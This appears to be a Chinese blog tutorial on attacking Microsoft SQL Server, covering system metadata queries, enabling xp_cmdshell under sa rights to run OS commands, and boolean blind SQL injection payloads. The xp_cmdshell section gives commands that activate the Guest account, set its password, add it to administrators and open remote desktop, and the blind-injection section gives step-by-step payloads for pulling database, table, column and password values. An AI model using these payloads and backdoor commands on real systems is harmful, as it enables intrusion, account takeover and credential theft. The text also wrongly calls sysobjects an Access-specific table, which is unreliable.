目录

SQLServer数据库

SQLServer数据库的查询语句

SA权限开启xp_cmdshell获取主机权限

盲注SQLServer数据库


SQLServer数据库

SQL Server数据库是由Microsoft开发和推广的关系数据库管理系统(DBMS),是一个比较大型的数据库。端口号为 1433。数据库后缀名 .mdf,注释符是 --

  • sa权限:数据库操作,文件管理,命令执行,注册表读取等system。SQLServer数据库的最高权限
  • db权限:文件管理,数据库操作等权限 users-administrators
  • public权限:数据库操作 guest-users

SQLServer数据库有6个默认的库,分别是4个系统数据库:master 、model 、msdb 、tempdb,和2个其他数据库:ReportServer、ReportServerTempDB。其中,model和tempdb是默认没有数据表的。

但是如果用navicat远程连接的话,只会显示2个数据库:ReportServer、ReportServerTempDB

SQLServer数据库的查询语句

  1. select @@version; #查询数据库的版本
  2. select host_name(); #查询主机名,如果是用navicat远程连接的话,主机名是本地的名字
  3. select db_name(); #查询当前数据库名
  4. select user; #查询当前数据库的拥有者,结果为 dbo。dbo是每个数据库的默认用户,具有所有者权限,全称:datebaseOwner ,即DbOwner
  5. use tempdb #切换到tempdb表
  6. top n #查询前n条记录
  7. limit 2,3 #查询第2条开始的3条数据,也就是2,3,4
  8. select substring('string',2,1) #截取给定字符串的索引为2的1个字符
  9. select ascii('a') #查询给定字符串的ascii值
  10. select len('string') #查询给定字符串的长度
  11. #数据库的连接
  12. server=127.0.0.1;UID=sa;PWD=123456;database=master;Provider=SQLOLEDB
  13. mssql://sa:123456@127.0.0.1/XCCMS_SocialBusinessDB
  14. count(name)是查询总数
  15. name是查询名字
  16. *是查询详细信息
  17. #查询数据库
  18. select count(name) from sysdatabases #查询数据库的个数
  19. select name from sysdatabases #查询数据库的名字
  20. select * from sysdatabases #查询所有数据库的信息
  21. #查询数据表
  22. select * from sysobjects where type='u' #查询当前数据库的所有表的详细信息
  23. select count(name) from msdb..sysobjects where xtype='U' #查询指定msdb数据库中表的个数
  24. select name from msdb..sysobjects where xtype='U' #查询指定msdb数据库中表的名字
  25. select * from msdb..sysobjects where xtype='U' #查询指定msdb数据库中表的详细信息
  26. #查询列
  27. select name from syscolumns where id=(select max(id) from sysobjects where xtype='u' and name='users') #查询当前数据库的指定users表的所有列
  28. select count(name) from test..syscolumns where id=(select max(id) from test..sysobjects where xtype='u' and name='users') #查询指定test数据库的指定users表的列的个数
  29. select name from test..syscolumns where id=(select max(id) from test..sysobjects where xtype='u' and name='users') #查询指定test数据库的指定users表的所有列
  30. select * from test..syscolumns where id=(select max(id) from test..sysobjects where xtype='u' and name='users') #查询指定test数据库的指定users表的列的详细信息
  31. #查询数据
  32. select count(*) from test..user #查询test数据库user表的数据的条数
  33. select * from test..user #查询test数据库user表的所有数据

SA权限开启xp_cmdshell获取主机权限

如果xp_cmdshell权限没开启的话,我们可以执行下面命令开启,下面四步,使xp_cmdshell开启

  1. select count(*) FROM sysobjects Where xtype = 'X' AND name = 'xp_cmdshell' #判断xp_cmdshell是否打开,1就是打开了,0就是关闭了
  2. execute('sp_configure "show advanced options",1') #将该选项的值设置为1
  3. execute('reconfigure') #保存设置
  4. execute('sp_configure "xp_cmdshell", 1') #将xp_cmdshell的值设置为1
  5. execute('reconfigure') #保存设置
  6. execute('sp_configure') #查看配置
  7. execute('xp_cmdshell "whoami"') #执行系统命令
  8. 或者
  9. exec sp_configure 'show advanced options',1; #将该选项的值设置为1
  10. reconfigure; #保存设置
  11. exec sp_configure 'xp_cmdshell',1; #将xp_cmdshell的值设置为1
  12. reconfigure; #保存设置
  13. exec sp_configure #查看配置
  14. exec xp_cmdshell 'whoami' #执行系统命令
  15. 可以执行系统权限之后,前提是获取的主机权限是administrators组里的
  16. exec xp_cmdshell 'net user Guest 123456' #给guest用户设置密码
  17. exec xp_cmdshell 'net user Guest /active:yes' #激活guest用户
  18. exec xp_cmdshell 'net localgroup administrators Guest /add' #将guest用户添加到administrators用户组
  19. exec xp_cmdshell 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f' #开启3389端口

盲注SQLServer数据库

Access数据库特有的表是:sysobjects  ,所以可以用它来判断是否是Access数据库

  1. exists(select*from sysobjects)

判断xp_cmdshell是否存在

  1. and 1=(Select count(*) FROM sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')

 判断当前数据库用户权限

  1. and 1=(IS_SRVROLEMEMBER('sysadmin')) //返回正常为sa
  2. and 1=(IS_MEMBER('db_owner')) //返回正常为DB_OWNER
  3. and 1=(IS_srvrolemember('public')) //public权限,较低

判断数据库的个数

  1. and (select count(name) from sysdatabases)>N

判断dbid,一般数据库有多少个,dbid的值就为多少

  1. and (select count(*) from sysdatabases where dbid=N)=1

判断当前数据库名

  1. 判断数据库的长度,由以下得知数据库的长度是8
  2. and len(db_name())>5 //正常显示
  3. and len(db_name())>10 //不正常显示
  4. and len(db_name())>7 //正常显示
  5. and len(db_name())>8 //不正常显示
  6. 判断数据库字符的ascii
  7. and ascii(substring(db_name(),1,1))>95 //正常显示
  8. and ascii(substring(db_name(),1,1))>100 //不正常显示
  9. and ascii(substring(db_name(),1,1))>96 //正常显示
  10. and ascii(substring(db_name(),1,1))>97 //不正常显示
  11. 所以数据库的第一个字符的ascii值为97,即为a
  12. 以此类推,数据库的第二个字符为 and ascii(substring(db_name(),2,1))>97
  13. 数据库的第三个字符为:and ascii(substring(db_name(),3,1))>97
  14. 直到爆出数据库最后一位字符,得到数据库名字。

根据dbid得到所有数据库名

  1. 判断dbid数据库的长度,由以下得知dbid1数据库的长度是8
  2. and len(db_name(1))>5 //正常显示
  3. and len(db_name(1))>10 //不正常显示
  4. and len(db_name(1))>7 //正常显示
  5. and len(db_name(1))>8 //不正常显示
  6. 判断dbid2数据库字符的ascii
  7. and ascii(substring(db_name(2),1,1))>95 //正常显示
  8. and ascii(substring(db_name(2),1,1))>100 //不正常显示
  9. and ascii(substring(db_name(2),1,1))>96 //正常显示
  10. and ascii(substring(db_name(2),1,1))>97 //不正常显示
  11. 所以dbid1数据库的第一个字符的ascii值为97,即为a
  12. 以此类推,数据库的第二个字符为 and ascii(substring(db_name(),2,1))>97
  13. 数据库的第三个字符为:and ascii(substring(db_name(),3,1))>97
  14. 直到爆出数据库最后一位字符,得到数据库名字。

这里假设我们知道了数据库中存在  test 数据库。

爆破test数据库中表的个数

  1. and (select count(name) from test..sysobjects where xtype='U')>N

爆破test数据库中表的长度和名称

  1. 爆破test数据库中第一个表的长度:
  2. and len((select top 1 name from test..sysobjects where xtype='U' and id not in (select top 1 id from test..sysobjects where xtype='U')))=N
  3. 爆破test数据库中第一个表的第一个字符的ascii值:
  4. and ascii(substring((select top 1 name from test..sysobjects where xtype='U' and id not in(select top 1 id from test..sysobjects where xtype='U')),1,1))>115
  5. 爆破test数据库中第一个表的第二个字符的ascii值:
  6. and ascii(substring((select top 1 name from test..sysobjects where xtype='U' and id not in(select top 1 id from test..sysobjects where xtype='U')),2,1))>115
  7. 爆破test数据库中第一个表的第三个字符的ascii值:
  8. and ascii(substring((select top 1 name from test..sysobjects where xtype='U' and id not in(select top 1 id from test..sysobjects where xtype='U')),3,1))>115
  9. .......
  10. 爆破test数据库中第二个表的长度:
  11. and len((select top 1 name from test..sysobjects where xtype='U' and id not in (select top 2 id from msdb..sysobjects where xtype='U')))=N
  12. 爆破test数据库中第二个表的第一个字符的ascii值:
  13. and ascii(substring((select top 1 name from test..sysobjects where xtype='U' and id not in(select top 2 id from test..sysobjects where xtype='U')),1,1))>115
  14. 爆破test数据库中第二个表的第二个字符的ascii值:
  15. and ascii(substring((select top 1 name from test..sysobjects where xtype='U' and id not in(select top 2 id from test..sysobjects where xtype='U')),2,1))>115
  16. 爆破test数据库中第二个表的第三个字符的ascii值:
  17. and ascii(substring((select top 1 name from test..sysobjects where xtype='U' and id not in(select top 2 id from test..sysobjects where xtype='U')),3,1))>115
  18. .......

这里假设我们爆出了user表

爆破test数据库中user表的列数

  1. and (select count(name) from test..syscolumns where id=(select id from test..sysobjects where name='user'))=N

爆破test数据库中user表的列名 

  1. 爆破test数据库中user表的第一列的长度:
  2. and len((select top 1 col_name(object_id('user'),1) from test..sysobjects))>10
  3. 爆破test数据库中user表的第一列的第一个字符的ascii值:
  4. and ascii(substring((select top 1 col_name(object_id('user'),1) from test..sysobjects),1,1))>97
  5. 爆破test数据库中user表的第一列的第二个字符的ascii值:
  6. and ascii(substring((select top 1 col_name(object_id('user'),1) from test..sysobjects),2,1))>97
  7. 爆破test数据库中user表的第一列的第三个字符的ascii值:
  8. and ascii(substring((select top 1 col_name(object_id('user'),1) from test..sysobjects),3,1))>97
  9. ........
  10. 爆破test数据库中user表的第二列的长度:
  11. and len((select top 1 col_name(object_id('user'),2) from test..sysobjects))>10
  12. 爆破test数据库中user表的第二列的第一个字符的ascii值:
  13. and ascii(substring((select top 1 col_name(object_id('user'),2) from test..sysobjects),1,1))>97
  14. 爆破test数据库中user表的第二列的第二个字符的ascii值:
  15. and ascii(substring((select top 1 col_name(object_id('user'),2) from test..sysobjects),2,1))>97
  16. 爆破test数据库中user表的第二列的第三个字符的ascii值:
  17. and ascii(substring((select top 1 col_name(object_id('user'),2) from test..sysobjects),3,1))>97
  18. ........

这里假设我们爆出了password列

爆出test数据库中user表中password列的数据条数 

  1. and (select count(*) from test..user)=N

爆破test数据库中user表中password列中的数据

  1. 爆破test数据库中user表中password列中第一行数据的长度
  2. and (select top 1 len(password) from test..user where password not in (select top 1 id from test..user))>N
  3. 爆破test数据库中user表中password列中第一行数据的第一个字符的ascii
  4. and ascii(substring((select top 1 cast(password as varchar) from test.user where password not in (select top 1 id from test.user)),1,1))>10
  5. 爆破test数据库中user表中password列中第一行数据的第二个字符的ascii
  6. and ascii(substring((select top 1 cast(password as varchar) from test.user where password not in (select top 1 id from test.user)),2,1))>10
  7. 爆破test数据库中user表中password列中第一行数据的第三个字符的ascii
  8. and ascii(substring((select top 1 cast(password as varchar) from test.user where password not in (select top 1 id from test.user)),3,1))>10
  9. ........
  10. 爆破test数据库中user表中password列中第二行数据的长度
  11. and (select top 1 len(password) from test..user where password not in (select top 2 id from test..user))>N
  12. 爆破test数据库中user表中password列中第二行数据的第一个字符的ascii
  13. and ascii(substring((select top 1 cast(password as varchar) from test.user where password not in (select top 2 id from test.user)),1,1))>10
  14. 爆破test数据库中user表中password列中第二行数据的第二个字符的ascii
  15. and ascii(substring((select top 1 cast(password as varchar) from test.user where password not in (select top 2 id from test.user)),2,1))>10
  16. 爆破test数据库中user表中password列中第二行数据的第三个字符的ascii
  17. and ascii(substring((select top 1 cast(password as varchar) from test.user where password not in (select top 2 id from test.user)),3,1))>10
  18. ........

参考文章:https://www.cnblogs.com/lcamry/p/5763129.html

MSSQL手工盲注

SQL Server手工注入笔记

SQL注入漏洞详解

SQLServer数据库及注入方法的更多相关文章

  1. Access数据库及注入方法

    目录 Access数据库 Access数据库中的函数 盲注Access数据库 Sqlmap注入Access数据库 Access数据库 Microsoft Office Access是由微软发布的关系数 ...

  2. MySQL数据库及注入方法

    目录 MySQL数据库 mysql中比较常用的一些函数: 判断MySQL数据库是否存在SQL注入 MySQL数据库文件结构 MySQL数据库密码破解 MySQL UDF提权 MySQL数据库 MySQ ...

  3. SqlServer数据库的一些方法的用途

    一直分不清这三种方法的具体用法现在终于找齐了 ExecuteNonQuery方法和ExecuteScalar方法和ExecuteReader方法的区别 (1)ExecuteNonQuery():执行命 ...

  4. access数据库一般注入方法及偏移注入

    1.access数据库与mysql数据库的差别 access没有数据库,access数据库每个数据都是单个文件,每个access只有表结构 mysql : 库名,表名,列名,字段内容 access:表 ...

  5. SQLServer数据库字典维护方法

    启用SQLServer启用管理器,以2008为例 1.设置表信息描述 选中要设置的表,右键点击“属性” . 选择扩展属性 填写要求: 名称:MS_Description 值: 模块名称-表名称 修改语 ...

  6. SQLSERVER数据库迁移的方法

    数据库迁移两种方案:https://www.cnblogs.com/mcgrady/p/7614491.html 方案一 1,先将源服务器上的数据库文件打包(包括mdf和ldf文件),并且复制到目标服 ...

  7. 获取sqlserver数据库中所有库、表、字段名的方法

    获取sqlserver数据库中所有库.表.字段名的方法 2009年03月12日 星期四 下午 12:51 1.获取所有数据库名: SELECT Name FROM Master..SysDatabas ...

  8. 设置SQLServer数据库中某些表为只读的多种方法

    原文:设置SQLServer数据库中某些表为只读的多种方法 翻译自:http://www.mssqltips.com/sqlservertip/2711/different-ways-to-make- ...

  9. 命令行下从bak文件恢复sqlserver数据库方法

    命令行下从bak文件恢复sqlserver数据库方法 注:本文所示访问从SqlServer 2000 - 2014版都是通用的 参考:http://blog.sina.com.cn/s/blog_5c ...

随机推荐

  1. 为什么要从 Linux 迁移到 BSD 5

    为什么要从 Linux 迁移到 BSD 5 干净的分离 在 FreeBSD 的设计方式下,不同的组件组合在一起的,处理配置和调优,以及多年来开发和改进的所有工具,使得使用 FreeBSD 是一件很特别 ...

  2. HDU_5414 CRB and String 【字符串】

    一.题目 CRB and String 二.分析 对于这题,读懂题意非常重要. 题目的意思是在$s$的基础上,按题目中所描述的步骤,即在$s$中任意选择一个字符$c$,在这个字符后面添加一个不等于$c ...

  3. IPFS挖矿原理介绍

    随着近几年区块链行业迅速发展,虚拟货币交易机制逐渐成熟,作为「区块链新贵」的 IPFS渐渐走入广大投资者的视线. IPFS 与其激励层的运作原理是投资者们必须要了解的.所以今天我就来和大家讲讲 IPF ...

  4. kmp&字典树 模板

    kmp: const int maxn=1e5+5; char s[maxn],p[maxn]; int nex[maxn]; int KmpSearch(char* s, char* p) { in ...

  5. PTA 中序输出度为2的结点

    6-10 中序输出度为2的结点 (10 分)   本题要求实现一个函数,按照中序遍历的顺序输出给定二叉树中度为2的结点. 函数接口定义: void InorderPrintNodes( BiTree ...

  6. 别再面向 for 循环编程了,JDK 自带的观察者模式就很香!

    大家好,你还在面向 for 循环编程吗? 还有谁不会用观察者模式吗? 本篇栈长带来<观察者模式>理论及实战- 什么是观察者模式? 观察者模式(Observer Pattern)定义了对象间 ...

  7. abp加DDD开发:低耦合、可复用、可扩展的【工单】业务模块-简介和集成

    前言 很多场景[单体+模块化]比微服务更合适,开发难度低.代码可复用性强.可扩展性强.模块化开发有些难点,模块启动与卸载.模块之间的依赖和通讯.asp.net core abp为我们提供了模块化开发能 ...

  8. AI数学基础之:确定图灵机和非确定图灵机

    目录 简介 图灵机 图灵机的缺点 等效图灵机 确定图灵机 非确定图灵机 简介 图灵机是由艾伦·麦席森·图灵在1936年描述的一种抽象机器,它是人们使用纸笔进行数学运算的过程的抽象,它肯定了计算机实现的 ...

  9. OO电梯系列总结与反思

    目录 前言 HW5 度量分析 UML类图与协作图 bug分析 HW6 度量分析 UML类图与协作图 bug分析 HW7 度量分析 UML类图与协作图 bug分析 SOLID原则 感想 前言 紧张刺激的 ...

  10. 了解什么是redis的雪崩和穿透?redis崩溃之后会怎么样?系统该如何应对这种情况?如何处理redis的穿透?

    缓存雪崩发生的现象 缓存雪崩的事前事中事后的解决方案 事前:redis高可用,主从+哨兵,redis cluster,避免全盘崩溃 事中:本地ehcache缓存 + hystrix限流&降级, ...